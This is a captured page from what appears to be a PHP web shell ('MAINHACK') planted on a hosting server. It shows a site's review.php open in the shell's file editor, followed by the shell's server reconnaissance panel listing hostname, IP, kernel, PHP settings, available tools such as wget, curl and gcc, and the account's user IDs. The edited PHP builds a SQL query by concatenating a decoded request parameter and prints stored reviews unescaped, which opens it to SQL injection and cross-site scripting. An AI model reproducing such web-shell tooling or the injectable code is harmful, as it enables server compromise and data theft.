[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: review.php
<?php include("header.php");$pid=base64_decode($_REQUEST['pid']); $sq1=$show->readwithdata('product','product_id',$pid); while($row1=$sq1->fetch(PDO::FETCH_ASSOC)){ $product_name=$row1['product_name']; $rn=$row1['rating_num']; } $sq=$show->readwithdata('product_img','product_id',$pid); while ($row1 = $sq->fetch(PDO::FETCH_ASSOC)){ $img=$row1['img']; } ?> <script> function check_login(val1){ var val="<?=$_SESSION['login_id']?>"; if(val==""){ alert('Please login to give review'); }else{ window.location = "given-reviews.php?pid="+val1; } } </script> <!-- // Header Inculide --> <!-- Inner-Banner --> <div class="inner-banner"> <img src="images/banner2.jpg" alt="" class="inner-banner-img"> <div class="container"> <ul> <li><a href="review.php" class="active">Review</a></li> | <li><a href="index.php" class="">Home</a></li> </ul> </div> </div> <!-- // Inner-Banner --> <div class="given-reviews"> <div class="container"> <!-- tittle heading --> <div class="inner-title"> <h2>Review</h2> <h3> Share your Reviews </h3> </div> <div class="col-md-4 col-sm-4 col-xs-12"> <div class="Writereviewsgiven"> <h6>Share your views with other customers..</h6> <a onclick="check_login('<?=base64_encode($pid)?>')">Write a Review</a> <div class="reviewsProduct"> <img src="<?=$pic_img?>/<?=$img?>" alt="reviews-man"> <h2><?=$product_name?></h2> <h3><span> <b><?=$rn?></b> Reviews </span><img src="images/4.png" class="img-review"></h3> </div> </div> </div> <div class="col-md-8 col-sm-8 col-xs-12"> <div class="all-reviews" style="width:100%;"> <?php //echo $pid; //$stmt=$show->readwithdata_clause('review','user_id',$_SESSION['login_id'],"and product_id='.$pid.'"); $s="select * from review where product_id='".$pid."'"; $stmt=$con->prepare($s); $stmt->execute(); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ $sq1=$show->readwithdata('product','product_id',$row['product_id']); while($row1=$sq1->fetch(PDO::FETCH_ASSOC)){ $product_name=$row1['product_name']; } ?> <div class="all-reviews-show"> <div class="lt-box-icon"> <img src="images/Reviewsuser01.png" alt="reviews-man"> </div> <div class="lt-box-text"> <h4><?=$row['name']?></h4> <li><img src="images/<?=$row['rating']?>.png"></li> <li><?=$product_name?></li> <p><?=$row['review']?></p> </div> </div> <?php } }else{ echo "<h4>No reviews found</h4>";} ?> </div> </div> </div> </div> <!-- Fotter Inculide --> <?php include("footer.php"); ?> <!-- // Fotter Inculide -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.14 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619